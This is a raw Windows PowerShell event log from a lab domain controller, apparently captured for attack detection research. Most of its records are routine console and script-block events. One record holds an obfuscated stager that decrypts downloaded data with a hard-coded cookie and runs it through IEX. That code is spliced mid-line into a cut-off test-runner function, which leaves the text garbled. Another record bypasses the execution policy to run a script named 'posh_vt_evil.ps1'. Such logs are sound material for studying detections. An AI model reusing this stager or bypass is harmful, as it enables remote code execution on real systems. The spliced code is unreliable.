Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1469721
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5420 in AppDomain: DefaultAppDomain.
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1469720
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469719
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469718
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-ExecuteCommand ($finalCommand, $executor, $TimeoutSeconds, $session = $null, $interactive) {
$null = @(
if ($null -eq $finalCommand) { return 0 }
$finalCommand = $finalCommand.trim()
Write-Verbose -Message 'Invoking Atomic Tests using defined executor'
if ($executor -eq "command_prompt" -or $executor -eq "sh" -or $executor -eq "bash") {
$execPrefix = "-c"
$execExe = $executor
if ($executor -eq "command_prompt") {
$execPrefix = "/c";
$execExe = "cmd.exe";
$execCommand = $finalCommand -replace "`n", " & "
}
else {
$finalCommand = $finalCommand -replace "[\\`"]", "`\$&"
$execCommand = $finalCommand -replace "(?^ghsl2{');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOr$S[($S[$I]+$S[$H])%256]}};$5793.HeAdErS.Add("Cookie","gHVlcrmdCWJeODGi=8AZFxuwcMahdbNHhHSY+a43LiiE=");$dATa=$5793.DoWnLOadDaTa($sER+$t);$iv=$DatA[0..3];$daTA=$DATA[4..$daTA.lenGTH];-JoIN[ChAr[]](& $R $daTA ($IV+$K))|IEX
ScriptBlock ID: 239bfd5f-5a30-4d06-9b97-9833476dbdbb
Path:
06/15/2021 05:02:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1476817
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:02:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1476816
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 8020 in AppDomain: DefaultAppDomain.
06/15/2021 05:02:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1476815
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476836
Keywords=None
Message=Completed invocation of ScriptBlock ID: f98143fc-5f4e-4228-a665-f3e839b3b705
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476835
Keywords=None
Message=Started invocation of ScriptBlock ID: f98143fc-5f4e-4228-a665-f3e839b3b705
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476834
Keywords=None
Message=Completed invocation of ScriptBlock ID: da1a7d56-ae6f-45e1-b274-f63feafbd0f6
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476833
Keywords=None
Message=Started invocation of ScriptBlock ID: da1a7d56-ae6f-45e1-b274-f63feafbd0f6
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8778ab18-0d27-4dd2-b9e2-71b89599967c
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476831
Keywords=None
Message=Started invocation of ScriptBlock ID: 8778ab18-0d27-4dd2-b9e2-71b89599967c
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 88eb3ab1-391f-4b43-8e04-d67e9c7c830a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476829
Keywords=None
Message=Started invocation of ScriptBlock ID: 88eb3ab1-391f-4b43-8e04-d67e9c7c830a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4f69fbf6-5425-443c-9e6e-c7147eae8f7c
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476827
Keywords=None
Message=Started invocation of ScriptBlock ID: 4f69fbf6-5425-443c-9e6e-c7147eae8f7c
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 958a4950-b236-4a4a-bb90-33acece6ae7f
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476825
Keywords=None
Message=Started invocation of ScriptBlock ID: 958a4950-b236-4a4a-bb90-33acece6ae7f
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476824
Keywords=None
Message=Started invocation of ScriptBlock ID: 20773d1f-bca3-48a9-9380-8d60d0224b4a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476823
Keywords=None
Message=Creating Scriptblock text (1 of 1):
if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Administrator\Desktop\posh_vt_evil.ps1'
ScriptBlock ID: 20773d1f-bca3-48a9-9380-8d60d0224b4a
Path:
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1476822
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1476821
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6740 in AppDomain: DefaultAppDomain.
06/15/2021 05:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1476820
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476858
Keywords=None
Message=Completed invocation of ScriptBlock ID: d56ba7b9-c534-417e-974e-af06aa537869
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476857
Keywords=None
Message=Started invocation of ScriptBlock ID: d56ba7b9-c534-417e-974e-af06aa537869
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476856
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: d56ba7b9-c534-417e-974e-af06aa537869
Path:
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 20773d1f-bca3-48a9-9380-8d60d0224b4a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476854
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8059e10-bd2e-4cea-8637-dced20a64566
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4c123f53-4b31-4705-9771-8bc9463b142a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4c123f53-4b31-4705-9771-8bc9463b142a
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476851
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 4c123f53-4b31-4705-9771-8bc9463b142a
Path:
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476850
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ad692c-9260-4864-8c55-a6302fffd7c1
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476849
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ad692c-9260-4864-8c55-a6302fffd7c1
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476848
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: b1ad692c-9260-4864-8c55-a6302fffd7c1
Path:
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476847
Keywords=None
Message=Completed invocation of ScriptBlock ID: cba7ae51-8562-441c-bcdb-dca872c51cc0
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54237f90-06a6-4451-ba91-3774e29acc6f
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476845
Keywords=None
Message=Completed invocation of ScriptBlock ID: e13a9c90-a71f-4b0f-aeed-d35eea667160
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476844
Keywords=None
Message=Started invocation of ScriptBlock ID: e13a9c90-a71f-4b0f-aeed-d35eea667160
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476843
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: e13a9c90-a71f-4b0f-aeed-d35eea667160
Path:
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476842
Keywords=None
Message=Started invocation of ScriptBlock ID: 54237f90-06a6-4451-ba91-3774e29acc6f
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476841
Keywords=None
Message=Started invocation of ScriptBlock ID: cba7ae51-8562-441c-bcdb-dca872c51cc0
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476840
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: cba7ae51-8562-441c-bcdb-dca872c51cc0
Path:
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476839
Keywords=None
Message=Started invocation of ScriptBlock ID: b8059e10-bd2e-4cea-8637-dced20a64566
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 10944b0b-c4b4-4f01-97e6-47236e6dd5f5
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476837
Keywords=None
Message=Started invocation of ScriptBlock ID: 10944b0b-c4b4-4f01-97e6-47236e6dd5f5
Runspace ID: d9d4f3fd-f37d-48a1-b5d5-7084538e7ff6
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476869
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 91991f34-fd1a-499a-8924-adc443810c90
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476866
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476865
Keywords=None
Message=Started invocation of ScriptBlock ID: 91991f34-fd1a-499a-8924-adc443810c90
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476864
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 91991f34-fd1a-499a-8924-adc443810c90
Path:
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476863
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476862
Keywords=None
